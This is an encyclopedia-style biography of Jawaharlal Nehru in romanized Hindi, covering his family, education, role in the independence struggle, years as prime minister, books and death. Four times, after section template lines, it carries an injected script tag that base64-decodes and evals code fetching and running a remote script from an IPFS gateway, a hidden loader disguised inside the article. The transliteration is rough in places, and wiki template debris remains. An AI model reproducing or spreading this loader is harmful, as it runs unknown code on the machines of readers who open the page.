जवाहरलाल नेहरू

	javaharalal neharoo
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poora nam	pandit javaharalal neharoo
any nam	chacha neharoo, pandit ji
janm	14 navambar, 1889
janm bhoomi	ilahabad, uttar pradesh
mrityu	27 mee, 1964
mrityu sthan	dilli
mrityu karan	dil ka daura
abhibhavak	pan. motilal neharoo aur svaroop rani
pati/patni	kamala neharoo
santan	iandira gaandhi
smarak	shaantivan, dilli
nagarikata	bharatiy
parti	bharatiy rashtriy kaangres
pad	bharat ke pratham pradhanamantri
kary kal	15 agast 1947-27 mee 1964
shiksha	bairistar
vidyalay	ianglaind ke hairo skool, keanbrij ke triniti k aaulej
bhasha	hindi, aangrezi
jel yatra	nau bar jel yatra ki
puraskar-upadhi	bharat ratn samman
sanbandhit lekh	jaliyaanvala bag, mahatma gaandhi, saradar patel, iandira gaandhi
rachanaean	vishv itihas ki jhalak, bharat ki khoj adi
any janakari	neharoo ji ka janm divas 14 navanbar poore desh mean bal divas ke roop mean manaya jata hai.

javaharalal neharoo vishay soochi

parivar rajaniti mean svatantrata mean yogadan pradhanamantri pad prerak prasang

pandit javaharalal neharoo (aangrezi: Jawaharlal Nehru, janm: 14 navambar, 1889; mrityu: 27 mee, 1964) bharatiy svatantrata sangram ke mahanh senani evan svatantr bharat ke pratham pradhanamantri (1947-1964) the. javahar lal neharoo, sansadiy sarakar ki sthapana aur videshi mamaloan mean 'gutanirapeksh' nitiyoan ke lie vikhyat hue. 1930 aur 1940 ke dashak mean bharat ke svatantrata aandolan ke pramukh netaoan mean se vah ek the.

janm evan shiksha

neharoo kashmiri brahman parivar ke the, jo apani prashasanik kshamataoan tatha vidvatta ke lie vikhyat the aur jo 18vian shatabdi ke aranbh mean ilahabad a gaye the. inaka janm ilahabad mean 14 navambar 1889 ee. ko hua. ve pan. motilal neharoo aur shrimati svaroop rani ke ekamatr putr the. apane sabhi bhaee-bahanoan mean, jinamean do bahanean thian, javaharalal sabase b de the. unaki bahan vijayalakshmi pandit bad mean sanyukt rashtr mahasabha ki pahali mahila adhyaksh banian. unaki prarambhik shiksha ghar par hi huee 14 varsh ki ayu mean neharoo ne ghar par hi kee aangrez adhyapikaoan aur shikshakoan se shiksha prapt ki. inamean se sirf ek, fardinaiand bruks ka, jo adhe ayarish aur adhe beljiyan adhyatmajnani the, un par kuchh prabhav p da. javaharalal ke ek samadrit bharatiy shikshak bhi the, jo unhean hindi aur sanskrit padhate the. 15 varsh ki umr mean 1905 mean neharoo ek agrani aangrezi vidyalay ianglaind ke hairo skool mean bheje gaye. hairo mean dakhil hue, jahaan vah do varsh tak rahe. neharoo ka shiksha kal kisi tarah se asadharan nahian tha. aur hairo se vah keanbrij ke triniti k aaulej ge, jahaan unhoanne tin varsh tak adhyayan karake prakriti vijnan mean snatak upadhi prapt ki. unake vishay rasayanashastr, bhoogarbh vidya aur vanaspati shastr the. keanbrij chho dane ke bad landan ke inar teanpal mean do varsh bitakar unhoanne vakalat ki padhaee ki aur unake apane hi shabdoan mean pariksha uttirn karane mean unhean 'n kirti, n apakirti' mili.

parivar

REDIRECT saancha:inhean bhi dekhean

bharat lautane ke char varsh bad march 1916 mean neharoo ka vivah kamala kaul ke sath hua, jo dilli mean base kashmiri parivar ki thian. unaki akeli santan iandira priyadarshini ka janm 1917 mean hua; bad mean vah, vivahoparaant nam 'iandira gaandhi', bharat ki pradhanamantri banian. tatha ek putr prapt hua, jisaki shighr hi mrityu ho gayi thi. 1912 ee. mean ve bairistar bane aur usi varsh bharat lautakar unhoanne ilahabad mean vakalat prarambh ki. vakalat mean unaki vishesh ruchi n thi aur shighr hi ve bharatiy rajaniti mean bhag lene lage. 1912 ee. mean unhoanne baankipur (bihar) mean hone vale bharatiy rashtriy kaangres ke adhiveshan mean pratinidhi ke roop mean bhag liya.

rajaniti mean

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[[chitr:Jawaharlal-Nehru-And-Mahatma-Gandhi.jpg|thumb|javaharalal neharoo aur mahatma gaandhi
Jawaharlal Nehru and Mahatma Gandhi|left]] bharat lautane ke bad neharoo ne pahale vakil ke roop mean sthapit hone ka prayas kiya lekin apane pita ke viparit unaki is peshe mean koee khas ruchi nahian thi aur unhean vakalat aur vakiloan ka sath, donoan hi napasand the. us samay vah apani pidhi ke kee any logoan ki bhaanti bhitar se ek aise rashtravadi the, jo apane desh ki azadi ke lie betab ho, lekin apane adhikaansh samakalinoan ki tarah use hasil karane ki thos yojanaean n bana paya ho.

gaandhi ji se mulakat

1916 ee. ke lakhanoo adhiveshan mean ve sarvapratham mahatma gaandhi ke sampark mean aye. gaandhi unase 20 sal b de the. donoan mean se kisi ne bhi aranbh mean ek-doosare ko bahut prabhavit nahian kiya. baharahal, 1929 mean kaangres ke aitihasik lahaur adhiveshan ka adhyaksh chune jane tak neharoo bharatiy rajaniti mean agrani bhoomika mean nahian a pae the. is adhiveshan mean bharat ke rajanitik lakshy ke roop mean sanpoorn svarajy ki ghoshana ki gee. usase pahale mukhy lakshy aupaniveshik sthiti ki maang tha. neharoo ji ke shabdoan mean:-

kutilata ki niti ant mean chalakar fayademand nahian hoti. ho sakata hai ki asthayi taur par isase kuchh fayada ho jae.

chacha neharoo

thumb|chacha neharoo bachchoan ke sath
Jawaharlal Nehru with Childrens deshabhar mean javaharalal neharoo ka janmadin '14 navanbar' bal divas ke roop mean manaya jata hai. neharoo bachchoan se behad pyar karate the aur yahi karan tha ki unhean pyar se chacha neharoo bulaya jata tha. ek bar chacha neharoo se milane ek sajjan ae. batachit ke dauran unhoanne neharoo ji se poochha, "pandit ji, ap sattar sal ke ho gaye haian, lekin phir bhi hamesha bachchoan ki tarah tarotaza dikhate haian, jabaki apase chhota hote hue bhi maian boodha dikhata hooan." neharoo ji ne muskurate hue javab diya, "isake tin karan haian.

maian bachchoan ko bahut pyar karata hooan. unake sath khelane ki koshish karata hooan, isase maian apane apako unako jaisa hi mahasoos karata hooan.
maian prakriti premi hooan, aur pe d-paudhoan, pakshi, paha d, nadi, jharanoan, chaand, sitaroan se bahut pyar karata hooan. maian inake sath mean jita hooan, jisase yah mujhe tarotaza rakhate haian.
adhikaansh log sadaiv chhoti-chhoti batoan mean ulajhe rahate haian aur usake bare mean soch-sochakar dimag kharab karate haian. mera nazariya alag hai aur mujh par chhoti-chhoti batoan ka koee asar nahian hota." yah kahakar neharoo ji bachchoan ki tarah khilakhilakar hans p de.

javaharalal neharoo hamari pidhi ke ek mahanatam vyakti the. vah ek aise advitiy rajanitijn the, jinaki manav-mukti ke prati sevaean chirasmaraniy raheangi. svadhinata-sangram ke yoddha ke roop mean vah yashasvi the aur adhunik bharat ke nirman ke lie unaka aanshadan abhootapoorv tha.- d aau. sarvapalli radhakrishnan

svatantrata mean yogadan

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

javaharalal neharoo mahatma gaandhi ke kandhe se kandha milakar aangrezoan ke khilaf l de. chahe asahayog aandolan ki bat ho ya phir namak satyagrah ya phir 1942 ke bharat chho do aandolan ki bat ho unhoanne gaandhi ji ke har aandolan mean badh-chadh kar bhag liya. malik ne bataya ki neharoo ki vishv ke bare mean janakari se gaandhi ji kafi prabhavit the aur isilie azadi ke bad vah unhean pradhanamantri pad par dekhana chahate the. sanh 1920 mean unhoanne uttar pradesh ke pratapagadh zile mean pahale kisan march ka ayojan kiya. 1923 mean vah akhil bharatiy kaangres samiti ke mahasachiv chune ge.

azad bharat ke mukhy p dav

[[chitr:Jawahar-Lal-Nehru-With-Rajgopalachari-And-Vallabh-Bhai-Patel.jpg|thumb|javaharalal neharoo, vallabhabhaee patel aur si. rajagopalachari|left]] british sansadiy pranali ko adhar man kar banae ge bharatiy sanvidhan ke tahat hua yah pahala chunav tha jisamean janata ne matadan ke adhikar ka prayog kiya. is chunav ke samay matadataoan ki kul sankhya 17 karo d 60 lakh thi jinamean se 15 fisadi sakshar the. 1952 mean pahale amachunav hue jisamean kaangres parti bhari bahumat se satta mean aee aur pandit javaharalal neharoo bharat ke pahale pradhanamantri bane. isase pahale vah 1947 mean azadi milane ke bad se aantarim pradhanamantri the. sansad ki 497 sitoan ke sath-sath rajyoan ki vidhanasabhaoan ke lie bhi chunav hue. lekin jahaan sansad mean kaangres parti ko poorn bahumat hasil hua vahian kuchh rajyoan mean ise doosare daloan se zabardast takkar mili. kaangres parti bahumat hasil karane mean is shaharoan chennee, haidarabad aur travanakor mean viphal rahi jahaan use kamyunist parti ne k di takkar di. halaanki in chunavoan mean hindoo mahasabha aur alagavavadi sikkh akali parti ko muanh ki khani p di. pahale chunav ke bad se hi kamyunist parti aauph iandiya (sipiaee) ne dakshini rajyoan mean janasamarthan badhana shuroo kar diya jisake natije 1957 mean hue chunav mean use mile. travanakor-kochin aur malabar ko mila kar bane keral mean kamyunist parti satta mean aee.

pradhanamantri ke roop mean upalabdhiyaan

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1929 mean jab lahaur adhiveshan mean gaandhi ne neharoo ko adhyaksh pad ke lie chuna tha, tab se 35 varshoan tak- 1964 mean pradhanamantri ke pad par rahate hue mrityu tak, 1962 mean chin se harane ke bavajood, neharoo apane deshavasiyoan ke adarsh bane rahe. rajaniti ke prati unaka dharmanirapeksh ravaiya gaandhi ke dharmik aur paranparik drishtikon se bhinn tha. gaandhi ke vicharoan ne unake jivanakal mean bharatiy rajaniti ko bhramak roop se ek dharmik svaroop de diya tha. gaandhi dharmik rudhivadi pratit hote the, kintu vastutah vah samajik udaravadi the, jo hindoo dharm ko dharmanirapeksh banane ki cheshtha kar rahe the. gaandhi aur neharoo ke bich asali virodh dharm ke prati unake ravaiye ke karan nahian, balki sabhyata ke prati ravaiye ke karan tha. jahaan neharu lagatar adhunik sandarbh mean bat karate the. vahian gaandhi prachin bharat ke gaurav par bal dete the.

desh ke itihas mean ek aisa mauqa bhi aya tha, jab mahatma gaandhi ko svatantr bharat ke pratham pradhanamantri pad ke lie saradar vallabhabhaee patel aur javaharalal neharoo mean se kisi ek ka chayan karana tha. lauh purush ke sakht aur bagi tevar ke samane neharoo ka vinamr rashtriy drishtikon bhari p da aur vah n sirf is pad par chune ge, balki unhean sabase lanbe samay tak vishv ke sabase vishal lokatantr ki bagador sanbhalane ka gaurav hasil bhi hua.

hindustan ek khoobasoorat aurat nahian hai. nange kisan hindustan haian. ve n to khoobasoorat haian, n dekhane mean achchhe haian- kyoanki garibi achchhi chiz nahian hai, vah buri chiz hai. isalie jab ap 'bharatamata' ki jay kahate haian- to yad rakhie ki bharat kya hai, aur bharat ke log nihayat buri halat mean haian- chahe ve kisan hoan, mazadoor hoan, khudara mal bechane vale dookanadar hoan, aur chahe hamare kuchh naujavan hoan. javahar lal neharoo

khyatilabdh lekhak

pandit neharoo ek mahanh rajanitijn aur prabhavashali vakta hi nahian, khyatilabdh lekhak bhi the. unaki atmakatha 1936 ee. mean prakashit huee aur sansar ke sabhi deshoan mean usaka adar hua. unaki any rachanaoan mean bharat aur vishv, soviyat roos, vishv itihas ki ek jhalak, bharat ki ekata aur svatantrata aur usake bad vishesh ullekhaniy haian. inamean se antim do pustakean unake phutakar lekhoan aur bhashanoan ke sangrah haian.

neharooji ke prerak prasang

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bat us samay ki hai jab javahar lal neharoo kishor avastha ke the. pita motilal neharoo un dinoan aangrejoan se bharat ko azad karane ki muhim mean shamil the. isaka asar balak javahar par bhi p da. motilal ne pianjare mean tota pal rakha tha. ek din javahar ne tote ko pianjare se azad kar diya. motilal ko tota bahut priy tha. usaki dekhabhal ek naukar karata tha. naukar ne yah bat motilal ko bata di. motilal ne javahar se poochha, 'tumane tota kyoan u da diya. javahar ne kaha, 'pitaji poore desh ki janata azadi chah rahian hai. tota bhi azadi chah raha tha, so maianne use azad kar diya.' motilal javahar ka muanh dekhate rah gaye. .... aur padhean

REDIRECTsaancha:inhean bhi dekhean

vaijnanik pragati ke prerana srot

gaandhi ji ke vicharoan ke pratikool javaharalal neharoo ne desh mean audyogikaran ko mahatv dete hue bhari udyogoan ki sthapana ko protsahan diya. vijnan ke vikas ke lie 1947 ee. mean neharoo ne 'bharatiy vijnan kaangres' ki sthapana ki. unhoanne kee bar 'bharatiy vijnan kaangres' ke adhyaksh pad se bhashan diya. bharat ke vibhinn bhagoan mean sthapit vaijnanik aur audyogik anusandhan parishad ke anek keandr is kshetr mean unaki dooradarshita ke spasht pratik haian. kheloan mean neharoo ki vyaktigat ruchi thi. unhoanne kheloan ko manushy ke sharirik evan manasik vikas ke lie avashyak bataya. ek desh ka doosare desh se madhur sambandh qayam karane ke lie 1951 ee. mean unhoanne dilli mean pratham eshiyaee kheloan ka ayojan karavaya. samajavadi vicharadhara se prabhavit neharoo ne bharat mean lokataantrik samajavad ki sthapana ka lakshy rakha. unhoanne arthik yojana ki avashyakata par bal diya. ve 1938 ee. mean kaangres dvara niyojit 'rashtriy yojana samiti' ke adhyaksh bhi the. svatantrata pashchath ve 'rashtriy yojana ayog' ke pradhan bane. neharoo ji ne sampradayikata ka virodh karate hue dharmanirapekshata par bal diya. unake vyaktigat prayas se hi bharat ko ek dharmanirapeksh rashtr ghoshit kiya gaya tha.

javaharalal neharoo ne bharat ko tatkalin vishv ki do mahanh shaktiyoan ka pichhalaggoo n banakar tatasthata ki niti ka palan kiya. neharooji ne nirgutata evan panchashil jaise siddhantoan ka palan kar vishv bandhutv evan vishvashaanti ko protsahan diya. unhoanne pooanjivad, samrajyavad, jativad evan upaniveshavad ke khilaf jivanaparyant sangharsh kiya. apane qaidi jivan mean javaharalal neharoo ne 'diskavari aauf indiya', 'glimpasej aauf varld histri' evan 'meri kahani' namak khyatiprapt pustakoan ki rachana ki.

moolyaankan

apani bharatiyata par zor dene vale neharoo mean vah hindoo prabhamandal aur chhavi kabhi nahian ubhari, jo gaandhi ke vyaktitv ka aang thi. apane adhunik rajanitik aur arthik vicharoan ke karan vah bharat ke yuva buddhijiviyoan ko aangrezoan ke khilaf gaandhi ke ahiansak andolan ki or akarshit karane mean aur svatantrata ke bad unhean apane asapas banae rakhane mean saphal rahe. pashchim mean pale-badhe hone aur svatantrata ke pahale yooropiy yatraoan ke karan unake sochane ka dhang pashchimi saanche mean dhal chuka tha. 17 varshoan tak satta mean rahane ke dauran unhoanne lokataantrik samajavad ko disha-nirdeshak mana. unake karyakal mean sansad mean kaangres parti ke zabaradast bahumat ke karan vah apane lakshyoan ki or agrasar hote rahe. lokatantr, samajavad, ekata aur dharmanirapekshata unaki ghareloo niti ke char stanbh the. vah jivan bhar in char stanbhoan se sudridh apani imarat ko kafi had tak bachae rakhane mean kamayab rahe. neharoo ki ikalauti santan iandira gaandhi 1966 se 1977 tak aur phir 1980 se 1984 tak bharat ki pradhanamantri rahian. iandira gaandhi ke bete rajiv gaandhi 1984 se 1989 tak pradhanamantri rahe.

mrityu

chin ke sath sangharsh ke kuchh hi samay bad neharoo ke svasthy mean giravat ke lakshan dikhaee dene lage. unhean 1963 mean dil ka halka daura p da, janavari 1964 mean unhean aur durbal bana dene vala daura p da. kuchh hi mahinoan ke bad tisare daure mean 27 mee 1964 mean unaki mrityu ho gee.

bharat ke pradhanamantri

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poorvadhikari

javaharalal neharoo

uttaradhikari
lal bahadur shastri